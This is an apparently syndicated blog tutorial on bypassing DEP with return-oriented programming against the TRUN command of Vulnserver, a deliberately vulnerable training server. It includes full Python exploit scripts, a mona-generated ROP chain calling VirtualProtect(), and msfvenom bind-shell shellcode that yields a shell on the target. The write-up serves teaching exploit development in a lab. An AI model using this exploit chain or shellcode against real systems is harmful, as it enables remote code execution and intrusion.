TRUN: Exploiting with ROP
In the last blog posts, we’ve been dealing with
DEP (Data Execution Protection) and a way to
bypass it with ROP (Return-Oriented Programming).
If you haven’t read those articles, I strongly recommend it before
diving into this one.
In this article, we will use ROP to create a fully working exploit for
the TRUN command of Vulnserver on a DEP-enabled
Windows 10 OS.
ROP chains
In the last article, we used ROP to put the value0xdeadbeef on EAX. To do that, we used 2 gadgets (sequence of
instructions ending with RETN) that performed the needed operations.
What we used is something known as a ROP chain, because we chained
together pointers to gadgets on the stack. When one of the gadgets
returns, will give control to the next, until the end of the chain.
ROP chains leverage existing instructions on the executable
environment to perform arbitrary actions. In fact, it was demonstrated
that ROP is Turing-complete, which means that we can solve any
computational problem using it, which ranges from making EAX = 0xdeadbeef to creating a reverse TCP connection shellcode and beyond.
However, Turing-completeness does not imply code efficiency, and
creating a working shellcode using ROP could be a very frustrating and
tedious work.
Fortunately for us, we can reuse our old shellcodes. Yes, I mean it. But
on a DEP-enabled OS, that involves a little of extra effort!
Marking shellcode as executable
When you use a CPU with the NX (No-execute) bit present, Windows
provide DEP as a mean to leverage it. DEP is enabled by the OS which
means that it can be disabled too.
That means that we can use ROP to disable DEP on certain memory
region, place our good old shellcode there and redirect execution to
that memory space.
There are many ways to do that, from creating a new heap into the
process with execution permission to allocating new memory on the
default heap with execution bit enabled or modifying existing memory to
mark it as executable.
The most portable methods are the last two. The first (allocating new
memory) is performed using the VirtualAllow() function. The second
uses VirtualProtect().
What you may use depend on several things, mainly the version of Windows
you are attacking. Also, if one of those functions is already loaded on
the executable environment of the vulnerable application, it would be a
good indicator.
Let’s load vulnserver.exe on a debugger to see if we can find one of
those functions:

We were lucky. VirtualProtect() was found in the IAT (Import Address
Table) of our executable. We will use that method.
VirtualProtect() signature
According to Microsoft, the VirtualProtect() signature is the
following:
BOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);The parameters are:
lpAddressis the starting address on where we will store the
shellcode.dwSizeis the size of the memory region we’ll mark as executable,
starting atlpAddress.flNewProtectis the mask of bits defining the permissions that the
address region would have (We’ll use this to mark it as executable).lpflOldProtectis an address that will receive the current
permissions of thelpAddress + dwSizeregion.
Using ROP we need to put the values of that parameters on the stack.
We also need to setup the stack in a way that we can return into theVirtualProtect() call and configure a return address that will be used
as the next EIP when VirtualProtect() returns. The following diagram
shows the expected stack layout just after executing our first RETN:
Stack layout.
Lower addresses....-----------------.| |`-----------------' ESP.-----------------.| | <- Address to VirtualProtect()`-----------------'.-----------------.| | <- Return address for VirtualProtect()`-----------------'.-----------------.| | <- lpAddress`-----------------'.-----------------.| | <- dwSize`-----------------'.-----------------.| | <- flNewProtect`-----------------'.-----------------.| | <- lpflOldProtect`-----------------'.-----------------.| | <- Start of our shellcode`-----------------'...Higher addressesLet’s see what would be the values to that parameters:
- Address to
VirtualProtect(): This can be obtained using the
debugger. Ideally, we will use later the reference on theIATto
this function. For now, we found thatVirtualProtect()is at0x76070420:

- Return address for
VirtualProtect(): This should be a pointer to aJMP ESPorCALL ESPinstruction. This will redirect the
execution flow to our shellcode when theROPchain finishes,
enabling the execution flag on the stack. You can obtain multiple
options for this value using!mona jmp -n -r esp. I will pick0x625011AF

lpAddress: This should be the start address on where we expect to
store our shellcode. In our case, this should be the value ofESP
and the value can only be obtained at runtime. We’ll get to that
later.dwSize: Is the size of the address region that will be marked as
executable, starting atlpAddress. Something like512bytes
(0x200) would be enough.flNewProtect: Flags to be setup on the memory region. We need to
mark it as executable, readable and writable
(PAGE_EXECUTE_READWRITE) whose value is0x40lpflOldProtect: A pointer to a memory region that will receive the
current permissions oflpAddress. That means that this value
should point to a place where we have write permissions. You can use
the debugger to find the right place. Ideally this should be an
address to a module withoutASRLorRebase. In this case I’ll
choose the one at0x62504040:

Verifying execution
Before ROP’ing that values, let’s check if that call works. I will
update the exploit from the previous article with
the call to VirtualProtect(). The goal of that exploit was to makeEAX = 0xdeadbeef. I will use placeholder values where needed, and
update them at debug time, just to check how VirtualProtect() works:
#!/usr/bin/env python3"""Vulnserver TRUN exploit (ROP, DEP bypass).Vulnerable Software: VulnserverVersion: 1.00Exploit Author: Andres RoldanTested On: Windows 10 20H2Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/"""import socketimport structHOST = '192.168.0.20'PORT = 9999PAYLOAD = ( b'TRUN .' + b'A' * 2006 + # 62501022 \. C3 RETN struct.pack('<L', 0x62501022) + # Pointer to `VirtualProtect()`: 0x6250609C -> 0x76070420 struct.pack('<L', 0x76070420) + # Pointer to JMP ESP struct.pack('<L', 0x625011AF) + # lpAddress: Dynamic value. Will put a placeholder for now struct.pack('<L', 0x41414141) + # dwSize: 0x00000200. As we can't inject NULL bytes, we will place # 0x11111201 for now struct.pack('<L', 0x11111201) + # flNewProtect: 0x00000040: As we can't inject NULL bytes, we will place # 0x11111140 for now struct.pack('<L', 0x11111140) + # lpflOldProtect, Pointer to writable address: 0x62504040 struct.pack('<L', 0x62504040) + # Shellcode. Will make EAX = 0xdeadbeef b'\x31\xc0' + # xor eax,eax b'\x05\xee\xbe\xad\xde' + # add eax,0xdeadbeee b'\x40' + # inc eax. Now eax=0xdeadbeef b'C' * 990)with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)I will now run the exploit in stages, to explain every step:

Here, we can see that we effectively injected the parameters on the
stack and that our first RETN gave control to call VirtualProtect().
However, there are some values that need to be changed. Let’s do that:

In this part, I modified the lpAddress value with the current value ofESP, then modified dwSize making it 0x00000200 or 512 bytes, andflNewProtect was set to 0x40 (PAGE_EXECUTE_READWRITE). Now, let
the exploit continues with the modified values:

Wonderful! The VirtualProtect() call effectively marked the region
where our shellcode was placed as executable and we could make EAX = 0xdeadbeef. We bypassed DEP again!
However, that was not a valid execution because we had to use the
debugger to change some values.
ROP it all
We need to use ROP to setup that values. The easiest way is to put the
required values on general purpose registers and then push them to the
stack in the required order. To do that, we can harness the PUSHAD
instruction that will save all the general purpose registers on the
stack in the following order:
EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI.
That means that when PUSHAD is executed, the stack will have this
content:
Stack layout.
Lower addresses... ESP .-----------------.EDI | | `-----------------' .-----------------.ESI | | `-----------------' .-----------------.EBP | | `-----------------' .-----------------.ESP | | <- This is the value of ESP *before* the call to PUSHAD `-----------------' .-----------------.EBX | | `-----------------' .-----------------.EDX | | `-----------------' .-----------------.ECX | | `-----------------' .-----------------.EAX | | `-----------------' .-----------------. | | <- Shellcode `-----------------'...Higher addressesThe most important value for us is the original ESP value because that
address is the one that must placed on the lpAddress parameter. UsinglpAddress as the starting point, we need to place the other parameters
to the adjacent registers, as well as the pointer to VirtualProtect()
and the return address:
Stack layout.
Lower addresses... ESP .-----------------.EDI | | `-----------------' .-----------------.ESI | | <- Pointer to VirtualProtect() `-----------------' .-----------------.EBP | | <- Return address for VirtualProtect() `-----------------' .-----------------.ESP | | <- lpAddress `-----------------' .-----------------.EBX | | <- dwSize `-----------------' .-----------------.EDX | | <- flNewProtect `-----------------' .-----------------.ECX | | <- lpflOldProtect `-----------------' .-----------------.EAX | | `-----------------' .-----------------. | | <- Shellcode `-----------------'...Higher addressesGreat, all the parameters for VirtualProtect() fit on those registers.
But something happens here. You may notice that the EDI register is
not used, but when our first RETN is executed, it will land there. In
that case, we need to store on EDI a pointer to a RETN instruction
again. This will make the execution return to where ESI address is
pointing, which is the call to VirtualProtect():
Stack layout.
Lower addresses... ESP .-----------------.EDI | | <- Pointer to RETN instruction `-----------------' .-----------------.ESI | | <- Pointer to VirtualProtect() `-----------------' .-----------------.EBP | | <- Return address for VirtualProtect() `-----------------' .-----------------.ESP | | <- lpAddress `-----------------' .-----------------.EBX | | <- dwSize `-----------------' .-----------------.EDX | | <- flNewProtect `-----------------' .-----------------.ECX | | <- lpflOldProtect `-----------------' .-----------------.EAX | | `-----------------' .-----------------. | | <- Shellcode `-----------------'...Higher addressesYou will also note that EAX is also not set and this is the place
where the shellcode is supposed to start. To overcome that, we can fillEAX with NOP instructions that will slide the execution to the
shellcode:
Stack layout.
Lower addresses... ESP .-----------------.EDI | | <- Pointer to RETN instruction `-----------------' .-----------------.ESI | | <- Pointer to VirtualProtect() `-----------------' .-----------------.EBP | | <- Return address for VirtualProtect() `-----------------' .-----------------.ESP | | <- lpAddress `-----------------' .-----------------.EBX | | <- dwSize `-----------------' .-----------------.EDX | | <- flNewProtect `-----------------' .-----------------.ECX | | <- lpflOldProtect `-----------------' .-----------------.EAX | | <- \x90\x90\x90\x90 `-----------------' .-----------------. | | <- Shellcode `-----------------'...Higher addressesPerfect. We need to use ROP gadgets to setup those registers first and
then add a pointer to a PUSHAD # RETN gadget at the end of the chain.
Fortunately for us, mona will do the hard work, by issuing the
following command:
!mona rop -m *.dll -nThis will go through all executable modules finding ROP gadgets that
can be useful. At the end, mona will generate several files with the
result. The most important one in this stage is rop_chains.txt file
that contains the chain of gadgets needed to setup the registers with
the values in the required order.
This is the resulting ROP gadget chain in my system:
def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x75c5b862, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR 0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll] 0x7714ae82, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR 0x7712c3c6, # XCHG EAX,ESI # RETN [ntdll.dll] ** REBASED ** ASLR #[---INFO:gadgets_to_set_ebp:---] 0x7554bdee, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR 0x625011af, # & jmp esp [essfunc.dll] #[---INFO:gadgets_to_set_ebx:---] 0x625011b4, # POP EAX # RETN [essfunc.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x760987da, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR 0x771cf5b9, # XCHG EAX,EBX # RETN [ntdll.dll] ** REBASED ** ASLR #[---INFO:gadgets_to_set_edx:---] 0x7714ebc3, # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR 0xffffffc0, # Value to negate, will become 0x00000040 0x76099c08, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR 0x759cc549, # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR #[---INFO:gadgets_to_set_ecx:---] 0x75567ffd, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR 0x75a08cf7, # &Writable location [WS2_32.DLL] ** REBASED ** ASLR #[---INFO:gadgets_to_set_edi:---] 0x75cf4a3b, # POP EDI # RETN [KERNELBASE.dll] ** REBASED ** ASLR 0x76099c0a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR #[---INFO:gadgets_to_set_eax:---] 0x755617cc, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR 0x90909090, # nop #[---INFO:pushad:---] 0x770f9589, # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain()You can see that the registers are arranged exactly as we wanted.
We can incorporate that function in our exploit:
#!/usr/bin/env python3"""Vulnserver TRUN exploit (ROP, DEP bypass).Vulnerable Software: VulnserverVersion: 1.00Exploit Author: Andres RoldanTested On: Windows 10 20H2Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/"""import socketimport structHOST = '192.168.0.20'PORT = 9999def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x75c5b862, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR 0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll] 0x7714ae82, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR 0x7712c3c6, # XCHG EAX,ESI # RETN [ntdll.dll] ** REBASED ** ASLR #[---INFO:gadgets_to_set_ebp:---] 0x7554bdee, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR 0x625011af, # & jmp esp [essfunc.dll] #[---INFO:gadgets_to_set_ebx:---] 0x625011b4, # POP EAX # RETN [essfunc.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x760987da, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR 0x771cf5b9, # XCHG EAX,EBX # RETN [ntdll.dll] ** REBASED ** ASLR #[---INFO:gadgets_to_set_edx:---] 0x7714ebc3, # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR 0xffffffc0, # Value to negate, will become 0x00000040 0x76099c08, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR 0x759cc549, # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR #[---INFO:gadgets_to_set_ecx:---] 0x75567ffd, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR 0x75a08cf7, # &Writable location [WS2_32.DLL] ** REBASED ** ASLR #[---INFO:gadgets_to_set_edi:---] 0x75cf4a3b, # POP EDI # RETN [KERNELBASE.dll] ** REBASED ** ASLR 0x76099c0a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR #[---INFO:gadgets_to_set_eax:---] 0x755617cc, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR 0x90909090, # nop #[---INFO:pushad:---] 0x770f9589, # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets)PAYLOAD = ( b'TRUN .' + b'A' * 2006 + # 62501022 \. C3 RETN struct.pack('<L', 0x62501022) + create_rop_chain() + # Shellcode. Will make EAX = 0xdeadbeef b'\x31\xc0' + # xor eax,eax b'\x05\xee\xbe\xad\xde' + # add eax,0xdeadbeee b'\x40' + # inc eax. Now eax=0xdeadbeef b'C' * 990)with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)And check it:

Isn’t it wonderful? We were able to setup the call to VirtualProtect()
with the required parameters using ROP.
Let’s resume the execution to check if that worked:

Indeed! Again, we were able to make EAX = 0xdeadbeef using a
traditional shellcode. We can now replace that mock shellcode with one
of our good ol’ ones from msfvenom:
$ msfvenom -p windows/shell_bind_tcp -f python -v SHELL -b '\x00'[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x86 from the payloadFound 11 compatible encodersAttempting to encode payload with 1 iterations of x86/shikata_ga_naix86/shikata_ga_nai succeeded with size 355 (iteration=0)x86/shikata_ga_nai chosen with final size 355Payload size: 355 bytesFinal size of python file: 1823 bytesSHELL = b""SHELL += b"\xda\xd3\xbe\xaa\x69\x45\x3a\xd9\x74\x24\xf4\x5a"SHELL += b"\x2b\xc9\xb1\x53\x31\x72\x17\x03\x72\x17\x83\x68"SHELL += b"\x6d\xa7\xcf\x90\x86\xa5\x30\x68\x57\xca\xb9\x8d"SHELL += b"\x66\xca\xde\xc6\xd9\xfa\x95\x8a\xd5\x71\xfb\x3e"SHELL += b"\x6d\xf7\xd4\x31\xc6\xb2\x02\x7c\xd7\xef\x77\x1f"SHELL += b"\x5b\xf2\xab\xff\x62\x3d\xbe\xfe\xa3\x20\x33\x52"SHELL += b"\x7b\x2e\xe6\x42\x08\x7a\x3b\xe9\x42\x6a\x3b\x0e"SHELL += b"\x12\x8d\x6a\x81\x28\xd4\xac\x20\xfc\x6c\xe5\x3a"SHELL += b"\xe1\x49\xbf\xb1\xd1\x26\x3e\x13\x28\xc6\xed\x5a"SHELL += b"\x84\x35\xef\x9b\x23\xa6\x9a\xd5\x57\x5b\x9d\x22"SHELL += b"\x25\x87\x28\xb0\x8d\x4c\x8a\x1c\x2f\x80\x4d\xd7"SHELL += b"\x23\x6d\x19\xbf\x27\x70\xce\xb4\x5c\xf9\xf1\x1a"SHELL += b"\xd5\xb9\xd5\xbe\xbd\x1a\x77\xe7\x1b\xcc\x88\xf7"SHELL += b"\xc3\xb1\x2c\x7c\xe9\xa6\x5c\xdf\x66\x0a\x6d\xdf"SHELL += b"\x76\x04\xe6\xac\x44\x8b\x5c\x3a\xe5\x44\x7b\xbd"SHELL += b"\x0a\x7f\x3b\x51\xf5\x80\x3c\x78\x32\xd4\x6c\x12"SHELL += b"\x93\x55\xe7\xe2\x1c\x80\x92\xea\xbb\x7b\x81\x17"SHELL += b"\x7b\x2c\x05\xb7\x14\x26\x8a\xe8\x05\x49\x40\x81"SHELL += b"\xae\xb4\x6b\xbc\x72\x30\x8d\xd4\x9a\x14\x05\x40"SHELL += b"\x59\x43\x9e\xf7\xa2\xa1\xb6\x9f\xeb\xa3\x01\xa0"SHELL += b"\xeb\xe1\x25\x36\x60\xe6\xf1\x27\x77\x23\x52\x30"SHELL += b"\xe0\xb9\x33\x73\x90\xbe\x19\xe3\x31\x2c\xc6\xf3"SHELL += b"\x3c\x4d\x51\xa4\x69\xa3\xa8\x20\x84\x9a\x02\x56"SHELL += b"\x55\x7a\x6c\xd2\x82\xbf\x73\xdb\x47\xfb\x57\xcb"SHELL += b"\x91\x04\xdc\xbf\x4d\x53\x8a\x69\x28\x0d\x7c\xc3"SHELL += b"\xe2\xe2\xd6\x83\x73\xc9\xe8\xd5\x7b\x04\x9f\x39"SHELL += b"\xcd\xf1\xe6\x46\xe2\x95\xee\x3f\x1e\x06\x10\xea"SHELL += b"\x9a\x36\x5b\xb6\x8b\xde\x02\x23\x8e\x82\xb4\x9e"SHELL += b"\xcd\xba\x36\x2a\xae\x38\x26\x5f\xab\x05\xe0\x8c"SHELL += b"\xc1\x16\x85\xb2\x76\x16\x8c"And update our exploit:
#!/usr/bin/env python3"""Vulnserver TRUN exploit (ROP, DEP bypass).Vulnerable Software: VulnserverVersion: 1.00Exploit Author: Andres RoldanTested On: Windows 10 20H2Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/"""import socketimport structHOST = '192.168.0.20'PORT = 9999def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x75c5b862, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR 0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll] 0x7714ae82, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR 0x7712c3c6, # XCHG EAX,ESI # RETN [ntdll.dll] ** REBASED ** ASLR #[---INFO:gadgets_to_set_ebp:---] 0x7554bdee, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR 0x625011af, # & jmp esp [essfunc.dll] #[---INFO:gadgets_to_set_ebx:---] 0x625011b4, # POP EAX # RETN [essfunc.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x760987da, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR 0x771cf5b9, # XCHG EAX,EBX # RETN [ntdll.dll] ** REBASED ** ASLR #[---INFO:gadgets_to_set_edx:---] 0x7714ebc3, # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR 0xffffffc0, # Value to negate, will become 0x00000040 0x76099c08, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR 0x759cc549, # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR #[---INFO:gadgets_to_set_ecx:---] 0x75567ffd, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR 0x75a08cf7, # &Writable location [WS2_32.DLL] ** REBASED ** ASLR #[---INFO:gadgets_to_set_edi:---] 0x75cf4a3b, # POP EDI # RETN [KERNELBASE.dll] ** REBASED ** ASLR 0x76099c0a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR #[---INFO:gadgets_to_set_eax:---] 0x755617cc, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR 0x90909090, # nop #[---INFO:pushad:---] 0x770f9589, # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets)# msfvenom -p windows/shell_bind_tcp -f python -v SHELL -b '\x00'SHELL = b""SHELL += b"\xbe\x9a\xd8\xa3\xeb\xd9\xc6\xd9\x74\x24\xf4\x5d"SHELL += b"\x2b\xc9\xb1\x53\x31\x75\x12\x83\xc5\x04\x03\xef"SHELL += b"\xd6\x41\x1e\xf3\x0f\x07\xe1\x0b\xd0\x68\x6b\xee"SHELL += b"\xe1\xa8\x0f\x7b\x51\x19\x5b\x29\x5e\xd2\x09\xd9"SHELL += b"\xd5\x96\x85\xee\x5e\x1c\xf0\xc1\x5f\x0d\xc0\x40"SHELL += b"\xdc\x4c\x15\xa2\xdd\x9e\x68\xa3\x1a\xc2\x81\xf1"SHELL += b"\xf3\x88\x34\xe5\x70\xc4\x84\x8e\xcb\xc8\x8c\x73"SHELL += b"\x9b\xeb\xbd\x22\x97\xb5\x1d\xc5\x74\xce\x17\xdd"SHELL += b"\x99\xeb\xee\x56\x69\x87\xf0\xbe\xa3\x68\x5e\xff"SHELL += b"\x0b\x9b\x9e\x38\xab\x44\xd5\x30\xcf\xf9\xee\x87"SHELL += b"\xad\x25\x7a\x13\x15\xad\xdc\xff\xa7\x62\xba\x74"SHELL += b"\xab\xcf\xc8\xd2\xa8\xce\x1d\x69\xd4\x5b\xa0\xbd"SHELL += b"\x5c\x1f\x87\x19\x04\xfb\xa6\x38\xe0\xaa\xd7\x5a"SHELL += b"\x4b\x12\x72\x11\x66\x47\x0f\x78\xef\xa4\x22\x82"SHELL += b"\xef\xa2\x35\xf1\xdd\x6d\xee\x9d\x6d\xe5\x28\x5a"SHELL += b"\x91\xdc\x8d\xf4\x6c\xdf\xed\xdd\xaa\x8b\xbd\x75"SHELL += b"\x1a\xb4\x55\x85\xa3\x61\xc3\x8d\x02\xda\xf6\x70"SHELL += b"\xf4\x8a\xb6\xda\x9d\xc0\x38\x05\xbd\xea\x92\x2e"SHELL += b"\x56\x17\x1d\x41\xfb\x9e\xfb\x0b\x13\xf7\x54\xa3"SHELL += b"\xd1\x2c\x6d\x54\x29\x07\xc5\xf2\x62\x41\xd2\xfd"SHELL += b"\x72\x47\x74\x69\xf9\x84\x40\x88\xfe\x80\xe0\xdd"SHELL += b"\x69\x5e\x61\xac\x08\x5f\xa8\x46\xa8\xf2\x37\x96"SHELL += b"\xa7\xee\xef\xc1\xe0\xc1\xf9\x87\x1c\x7b\x50\xb5"SHELL += b"\xdc\x1d\x9b\x7d\x3b\xde\x22\x7c\xce\x5a\x01\x6e"SHELL += b"\x16\x62\x0d\xda\xc6\x35\xdb\xb4\xa0\xef\xad\x6e"SHELL += b"\x7b\x43\x64\xe6\xfa\xaf\xb7\x70\x03\xfa\x41\x9c"SHELL += b"\xb2\x53\x14\xa3\x7b\x34\x90\xdc\x61\xa4\x5f\x37"SHELL += b"\x22\xd4\x15\x15\x03\x7d\xf0\xcc\x11\xe0\x03\x3b"SHELL += b"\x55\x1d\x80\xc9\x26\xda\x98\xb8\x23\xa6\x1e\x51"SHELL += b"\x5e\xb7\xca\x55\xcd\xb8\xde"PAYLOAD = ( b'TRUN .' + b'A' * 2006 + # 62501022 \. C3 RETN struct.pack('<L', 0x62501022) + create_rop_chain() + # Align stack b'\x83\xE4\xF0' + # and esp, 0xfffffff0 SHELL + b'C' * 990)with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)Note that I added the and esp, 0xfffffff0 instruction before the
shellcode to align the stack. This is commonly needed when you mess
around with the stack.
Let’s check it now:

Great! We successfuly disabled DEP for our process and got a shell!
You can download the final exploit here.
Conclusions
In this article, we used the power of Return-Oriented Programming to
complete a working exploit with a binded TCP shell on a DEP-enabled
OS. As each application is different, using ROP gadgets to perform
complex operations is an art, because there is not a generic way to do
it.
*** This is a Security Bloggers Network syndicated blog from Fluid Attacks RSS Feed authored by Andres Roldan. Read the original post at: https://fluidattacks.com/blog/vulnserver-trun-rop/

